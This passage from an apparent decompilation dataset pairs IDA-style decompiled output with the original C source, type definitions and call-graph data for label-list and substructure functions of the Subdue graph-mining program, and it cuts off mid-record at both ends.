numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct SubList { struct _sub_list_node *head; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "PrintStoredSub", "canonical_name": "func12", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall PrintStoredSub(double *a1, __int64 a2)\n{\n__int64 result; // rax\n\nif ( a1 )\n{\nprintf(\"Substructure: value = %.*g, \", 6, a1[7]);\nprintf(\"pos instances = %lu, neg instances = %lu\\n\", *((_QWORD *)a1 + 1), *((_QWORD *)a1 + 4));\nresult = *(_QWORD *)a1;\nif ( *(_QWORD *)a1 )\nresult = PrintGraph(*(_QWORD *)a1, *(_QWORD *)(a2 + 1600));\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func12(double *a1, __int64 a2)\n{\n__int64 result; // rax\n\nif ( a1 )\n{\nprintf(\"Substructure: value = %.*g, \", 6, a1[7]);\nprintf(\"pos instances = %lu, neg instances = %lu\\n\", *((_QWORD *)a1 + 1), *((_QWORD *)a1 + 4));\nresult = *(_QWORD *)a1;\nif ( *(_QWORD *)a1 )\nresult = PrintGraph(*(_QWORD *)a1, *(_QWORD *)(a2 + 1600));\n}\nreturn result;\n}", "original_code": "void PrintStoredSub (Substructure *sub, Parameters *parameters)\n{\n if (sub != ((void *)0))\n {\n printf(\"Substructure: value = %.*g, \", 6,\n sub->value);\n printf(\"pos instances = %lu, neg instances = %lu\\n\",\n sub->numInstances, sub->numNegInstances);\n if (sub->definition != ((void *)0))\n PrintGraph(sub->definition, parameters->labelList);\n }\n}", "canonical_original_code": "void PrintStoredSub(struct Substructure *sub, struct Parameters *parameters)\n{\n if (sub != ((void *)0))\n {\n printf(\"Substructure: value = %.*g, \", 6,\n sub->value);\n printf(\"pos instances = %lu, neg instances = %lu\\n\",\n sub->numInstances, sub->numNegInstances);\n if (sub->definition != ((void *)0))\n PrintGraph(sub->definition, parameters->labelList);\n }\n}", "variable_types": [ [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ] ], "return_type": "void", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" } ]
891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823
gromgull/subdue
[ [ "AllocateLabelList", "->" ], [ "StoreLabel", "->", "GetLabelIndex" ], [ "GetLabelIndex", "->", "StoreLabel" ], [ "SubLabelNumber", "->" ], [ "LabelMatchFactor", "->" ], [ "PrintLabel", "->", "PrintLabelList" ], [ "PrintLabelList", "->", "PrintLabel" ], [ "FreeLabelList", "->" ], [ "WriteLabelToFile", "->" ] ]
[ [ "WriteLabelToFile", "int __fastcall func8(FILE *a1, __int64 a2, __int64 a3, char a4)\n{\nint result; // eax\nchar dest[260]; // [rsp+20h] [rbp-110h] BYREF\nint v7; // [rsp+124h] [rbp-Ch]\nunsigned __int8 v8; // [rsp+12Bh] [rbp-5h]\nint i; // [rsp+12Ch] [rbp-4h]\n\nv8 = *(_BYTE *)(*(_QWORD *)(a3 + 16) + 24 * a2);\nresult = v8;\nif ( v8 )\n{\nif ( v8 == 1 )\nresult = fprintf(a1, \"%.*g\", 6, *(double *)(*(_QWORD *)(a3 + 16) + 24 * a2 + 8));\n}\nelse\n{\nstrcpy(dest, *(const char **)(*(_QWORD *)(a3 + 16) + 24 * a2 + 8));\nif ( a4 )\n{\nv7 = strlen(dest);\nif ( dest[0] == 34 && dest[v7 - 1] == 34 )\n{\nfor ( i = 0; i < v7; ++i )\ndest[i] = dest[i + 1];\ndest[v7 - 2] = 0;\n}\n}\nresult = fputs(dest, a1);\n}\nreturn result;\n}" ] ]
[ { "name": "AllocateLabelList", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "_QWORD *AllocateLabelList()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x18uLL);\nif ( !v1 )\nOutOfMemoryError(\"AllocateLabelList:labelList\");\n*v1 = 0LL;\nv1[1] = 0LL;\nv1[2] = 0LL;\nreturn v1;\n}\n", "canonical_decompiled_code": "_QWORD *func0()\n{\n_QWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = malloc(0x18uLL);\nif ( !v1 )\nOutOfMemoryError(\"AllocateLabelList:labelList\");\n*v1 = 0LL;\nv1[1] = 0LL;\nv1[2] = 0LL;\nreturn v1;\n}", "original_code": "LabelList *AllocateLabelList(void)\n{\n LabelList *labelList;\n labelList = (LabelList *) malloc(sizeof(LabelList));\n if (labelList == ((void *)0))\n OutOfMemoryError(\"AllocateLabelList:labelList\");\n labelList->size = 0;\n labelList->numLabels = 0;\n labelList->labels = ((void *)0);\n return labelList;\n}", "canonical_original_code": "struct LabelList *AllocateLabelList()\n{\n struct LabelList *labelList;\n labelList = (struct LabelList *) malloc(sizeof(LabelList));\n if (labelList == ((void *)0))\n OutOfMemoryError(\"AllocateLabelList:labelList\");\n labelList->size = 0;\n labelList->numLabels = 0;\n labelList->labels = ((void *)0);\n return labelList;\n}", "variable_types": [ [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ] ], "return_type": "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "StoreLabel", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall StoreLabel(__int64 a1, __int64 a2)\n{\nsize_t v2; // rax\nchar *dest; // [rsp+18h] [rbp-18h]\nvoid *v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = GetLabelIndex(a1, a2);\nif ( v6 == *(_QWORD *)(a2 + 8) )\n{\nif ( *(_QWORD *)a2 == *(_QWORD *)(a2 + 8) )\n{\n*(_QWORD *)a2 += 100LL;\nv5 = realloc(*(void **)(a2 + 16), 24LL * *(_QWORD *)a2);\nif ( !v5 )\nOutOfMemoryError(\"StoreLabel:newLabelList\");\n*(_QWORD *)(a2 + 16) = v5;\n}\n*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8)) = *(_BYTE *)a1;\nif ( *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 == 1 )\n*(_QWORD *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8) + 8) = *(_QWORD *)(a1 + 8);\n}\nelse\n{\nv2 = strlen(*(const char **)(a1 + 8));\ndest = (char *)malloc(v2 + 1);\nif ( !dest )\nOutOfMemoryError(\"StoreLabel:stringLabel\");\nstrcpy(dest, *(const char **)(a1 + 8));\n*(_QWORD *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8) + 8) = dest;\n}\n*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24LL * (*(_QWORD *)(a2 + 8))++ + 16) = 0;\n}\nreturn v6;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1, __int64 a2)\n{\nsize_t v2; // rax\nchar *dest; // [rsp+18h] [rbp-18h]\nvoid *v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv6 = func2(a1, a2);\nif ( v6 == *(_QWORD *)(a2 + 8) )\n{\nif ( *(_QWORD *)a2 == *(_QWORD *)(a2 + 8) )\n{\n*(_QWORD *)a2 += 100LL;\nv5 = realloc(*(void **)(a2 + 16), 24LL * *(_QWORD *)a2);\nif ( !v5 )\nOutOfMemoryError(\"StoreLabel:newLabelList\");\n*(_QWORD *)(a2 + 16) = v5;\n}\n*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8)) = *(_BYTE *)a1;\nif ( *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 == 1 )\n*(_QWORD *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8) + 8) = *(_QWORD *)(a1 + 8);\n}\nelse\n{\nv2 = strlen(*(const char **)(a1 + 8));\ndest = (char *)malloc(v2 + 1);\nif ( !dest )\nOutOfMemoryError(\"StoreLabel:stringLabel\");\nstrcpy(dest, *(const char **)(a1 + 8));\n*(_QWORD *)(*(_QWORD *)(a2 + 16) + 24LL * *(_QWORD *)(a2 + 8) + 8) = dest;\n}\n*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24LL * (*(_QWORD *)(a2 + 8))++ + 16) = 0;\n}\nreturn v6;\n}", "original_code": "ULONG StoreLabel(Label *label, LabelList *labelList)\n{\n ULONG labelIndex;\n Label *newLabelList;\n char *stringLabel;\n labelIndex = GetLabelIndex(label, labelList);\n if (labelIndex == labelList->numLabels)\n {\n if (labelList->size == labelList->numLabels)\n {\n labelList->size += 100;\n newLabelList = (Label *) realloc(labelList->labels,\n (sizeof(Label) * labelList->size));\n if (newLabelList == ((void *)0))\n OutOfMemoryError(\"StoreLabel:newLabelList\");\n labelList->labels = newLabelList;\n }\n labelList->labels[labelList->numLabels].labelType = label->labelType;\n switch(label->labelType)\n {\n case 0:\n stringLabel = (char *) malloc\n (sizeof(char) *\n (strlen(label->labelValue.stringLabel)) + 1);\n if (stringLabel == ((void *)0))\n OutOfMemoryError(\"StoreLabel:stringLabel\");\n strcpy(stringLabel, label->labelValue.stringLabel);\n labelList->labels[labelList->numLabels].labelValue.stringLabel =\n stringLabel;\n break;\n case 1:\n labelList->labels[labelList->numLabels].labelValue.numericLabel =\n label->labelValue.numericLabel;\n break;\n default:\n break;\n }\n labelList->labels[labelList->numLabels].used = 0;\n labelList->numLabels++;\n }\n return labelIndex;\n}", "canonical_original_code": "unsigned long StoreLabel(struct Label *label, struct LabelList *labelList)\n{\n unsigned long labelIndex;\n struct Label *newLabelList;\n char *stringLabel;\n labelIndex = GetLabelIndex(label, labelList);\n if (labelIndex == labelList->numLabels)\n {\n if (labelList->size == labelList->numLabels)\n {\n labelList->size += 100;\n newLabelList = (struct Label *) realloc(labelList->labels,\n (sizeof(Label) * labelList->size));\n if (newLabelList == ((void *)0))\n OutOfMemoryError(\"StoreLabel:newLabelList\");\n labelList->labels = newLabelList;\n }\n labelList->labels[labelList->numLabels].labelType = label->labelType;\n switch(label->labelType)\n {\n case 0:\n stringLabel = (char *) malloc\n (sizeof(char) *\n (strlen(label->labelValue.stringLabel)) + 1);\n if (stringLabel == ((void *)0))\n OutOfMemoryError(\"StoreLabel:stringLabel\");\n strcpy(stringLabel, label->labelValue.stringLabel);\n labelList->labels[labelList->numLabels].labelValue.stringLabel =\n stringLabel;\n break;\n case 1:\n labelList->labels[labelList->numLabels].labelValue.numericLabel =\n label->labelValue.numericLabel;\n break;\n default:\n break;\n }\n labelList->labels[labelList->numLabels].used = 0;\n labelList->numLabels++;\n }\n return labelIndex;\n}", "variable_types": [ [ "label", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; } *" ], [ "labelIndex", "unsigned long" ], [ "newLabelList", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *" ], [ "stringLabel", "char *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "GetLabelIndex", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall GetLabelIndex(__int64 a1, __int64 a2)\n{\nchar v3; // [rsp+1Fh] [rbp-11h]\nunsigned __int64 v4; // [rsp+20h] [rbp-10h]\nunsigned __int64 v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nv4 = *(_QWORD *)(a2 + 8);\nv3 = 0;\nwhile ( v5 < *(_QWORD *)(a2 + 8) && !v3 )\n{\nif ( *(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * v5) == *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 == 1 && *(double *)(*(_QWORD *)(a2 + 16) + 24 * v5 + 8) == *(double *)(a1 + 8) )\n{\nv4 = v5;\nv3 = 1;\n}\n}\nelse if ( !strcmp(*(const char **)(*(_QWORD *)(a2 + 16) + 24 * v5 + 8), *(const char **)(a1 + 8)) )\n{\nv4 = v5;\nv3 = 1;\n}\n}\n++v5;\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func2(__int64 a1, __int64 a2)\n{\nchar v3; // [rsp+1Fh] [rbp-11h]\nunsigned __int64 v4; // [rsp+20h] [rbp-10h]\nunsigned __int64 v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nv4 = *(_QWORD *)(a2 + 8);\nv3 = 0;\nwhile ( v5 < *(_QWORD *)(a2 + 8) && !v3 )\n{\nif ( *(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * v5) == *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 )\n{\nif ( *(_BYTE *)a1 == 1 && *(double *)(*(_QWORD *)(a2 + 16) + 24 * v5 + 8) == *(double *)(a1 + 8) )\n{\nv4 = v5;\nv3 = 1;\n}\n}\nelse if ( !strcmp(*(const char **)(*(_QWORD *)(a2 + 16) + 24 * v5 + 8), *(const char **)(a1 + 8)) )\n{\nv4 = v5;\nv3 = 1;\n}\n}\n++v5;\n}\nreturn v4;\n}", "original_code": "ULONG GetLabelIndex(Label *label, LabelList *labelList)\n{\n ULONG i = 0;\n ULONG labelIndex = labelList->numLabels;\n BOOLEAN found = 0;\n while ((i < labelList->numLabels) && (! found))\n {\n if (labelList->labels[i].labelType == label->labelType)\n {\n switch(label->labelType)\n {\n case 0:\n if (strcmp(labelList->labels[i].labelValue.stringLabel,\n label->labelValue.stringLabel) == 0)\n {\n labelIndex = i;\n found = 1;\n }\n break;\n case 1:\n if (labelList->labels[i].labelValue.numericLabel ==\n label->labelValue.numericLabel)\n {\n labelIndex = i;\n found = 1;\n }\n default:\n break;\n }\n }\n i++;\n }\n return labelIndex;\n}", "canonical_original_code": "unsigned long GetLabelIndex(struct Label *label, struct LabelList *labelList)\n{\n unsigned long i = 0;\n unsigned long labelIndex = labelList->numLabels;\n unsigned char found = 0;\n while ((i < labelList->numLabels) && (! found))\n {\n if (labelList->labels[i].labelType == label->labelType)\n {\n switch(label->labelType)\n {\n case 0:\n if (strcmp(labelList->labels[i].labelValue.stringLabel,\n label->labelValue.stringLabel) == 0)\n {\n labelIndex = i;\n found = 1;\n }\n break;\n case 1:\n if (labelList->labels[i].labelValue.numericLabel ==\n label->labelValue.numericLabel)\n {\n labelIndex = i;\n found = 1;\n }\n default:\n break;\n }\n }\n i++;\n }\n return labelIndex;\n}", "variable_types": [ [ "label", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; } *" ], [ "i", "unsigned long" ], [ "labelIndex", "unsigned long" ], [ "found", "unsigned char" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "SubLabelNumber", "canonical_name": "func3", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall SubLabelNumber(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-228h] BYREF\nchar v4; // [rsp+20h] [rbp-220h] BYREF\nchar v5[264]; // [rsp+120h] [rbp-120h] BYREF\nint v6; // [rsp+228h] [rbp-18h]\nint v7; // [rsp+22Ch] [rbp-14h]\nchar *s; // [rsp+230h] [rbp-10h]\nint i; // [rsp+238h] [rbp-8h]\nchar v10; // [rsp+23Fh] [rbp-1h]\n\ni = 0;\nv10 = 1;\nv3 = 0LL;\nif ( !*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * a1) )\n{\ns = *(char **)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8);\nv7 = strlen(s);\n*(_DWORD *)v5 = 4347219;\nv6 = strlen(v5);\nif ( v7 > v6 + 1 )\n{\nfor ( i = 0; i < v6 && v10; ++i )\n{\nif ( s[i] != v5[i] )\nv10 = 0;\n}\n}\nif ( v10 && s[i] != 95 )\nv10 = 0;\nif ( v10 && (unsigned int)_isoc99_sscanf(&s[i + 1], \"%lu%s\", &v3, &v4) != 1 )\nv3 = 0LL;\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-228h] BYREF\nchar v4; // [rsp+20h] [rbp-220h] BYREF\nchar v5[264]; // [rsp+120h] [rbp-120h] BYREF\nint v6; // [rsp+228h] [rbp-18h]\nint v7; // [rsp+22Ch] [rbp-14h]\nchar *s; // [rsp+230h] [rbp-10h]\nint i; // [rsp+238h] [rbp-8h]\nchar v10; // [rsp+23Fh] [rbp-1h]\n\ni = 0;\nv10 = 1;\nv3 = 0LL;\nif ( !*(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * a1) )\n{\ns = *(char **)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8);\nv7 = strlen(s);\n*(_DWORD *)v5 = 4347219;\nv6 = strlen(v5);\nif ( v7 > v6 + 1 )\n{\nfor ( i = 0; i < v6 && v10; ++i )\n{\nif ( s[i] != v5[i] )\nv10 = 0;\n}\n}\nif ( v10 && s[i] != 95 )\nv10 = 0;\nif ( v10 && (unsigned int)_isoc99_sscanf(&s[i + 1], \"%lu%s\", &v3, &v4) != 1 )\nv3 = 0LL;\n}\nreturn v3;\n}", "original_code": "ULONG SubLabelNumber(ULONG index, LabelList *labelList)\n{\n char *stringLabel;\n char prefix[256];\n char rest[256];\n BOOLEAN match;\n int i = 0;\n int labelLength;\n int prefixLength;\n ULONG subNumber;\n match = 1;\n subNumber = 0;\n if (labelList->labels[index].labelType == 0)\n {\n stringLabel = labelList->labels[index].labelValue.stringLabel;\n labelLength = strlen(stringLabel);\n strcpy(prefix, \"SUB\");\n prefixLength = strlen(prefix);\n if (labelLength > (prefixLength + 1))\n for (i = 0; ((i < prefixLength) && match); i++)\n if (stringLabel[i] != prefix[i])\n match = 0;\n if (match && (stringLabel[i] != '_'))\n match = 0;\n if (match &&\n (sscanf((& stringLabel[i + 1]), \"%lu%s\", &subNumber, rest) != 1))\n subNumber = 0;\n }\n return subNumber;\n}", "canonical_original_code": "unsigned long SubLabelNumber(unsigned long index, struct LabelList *labelList)\n{\n char *stringLabel;\n char prefix[256];\n char rest[256];\n unsigned char match;\n int i = 0;\n int labelLength;\n int prefixLength;\n unsigned long subNumber;\n match = 1;\n subNumber = 0;\n if (labelList->labels[index].labelType == 0)\n {\n stringLabel = labelList->labels[index].labelValue.stringLabel;\n labelLength = strlen(stringLabel);\n strcpy(prefix, \"SUB\");\n prefixLength = strlen(prefix);\n if (labelLength > (prefixLength + 1))\n for (i = 0; ((i < prefixLength) && match); i++)\n if (stringLabel[i] != prefix[i])\n match = 0;\n if (match && (stringLabel[i] != '_'))\n match = 0;\n if (match &&\n (sscanf((& stringLabel[i + 1]), \"%lu%s\", &subNumber, rest) != 1))\n subNumber = 0;\n }\n return subNumber;\n}", "variable_types": [ [ "index", "unsigned long" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "stringLabel", "char *" ], [ "prefix", "char [256]" ], [ "rest", "char [256]" ], [ "match", "unsigned char" ], [ "i", "int" ], [ "labelLength", "int" ], [ "prefixLength", "int" ], [ "subNumber", "unsigned long" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "LabelMatchFactor", "canonical_name": "func4", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall LabelMatchFactor(__int64 a1, __int64 a2)\n{\n__int64 v2; // xmm0_8\n\nif ( a1 == a2 )\nv2 = 0LL;\nelse\nv2 = 0x3FF0000000000000LL;\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, __int64 a2)\n{\n__int64 v2; // xmm0_8\n\nif ( a1 == a2 )\nv2 = 0LL;\nelse\nv2 = 0x3FF0000000000000LL;\nreturn v2;\n}", "original_code": "double LabelMatchFactor(ULONG labelIndex1, ULONG labelIndex2,\n LabelList *labelList)\n{\n if (labelIndex1 == 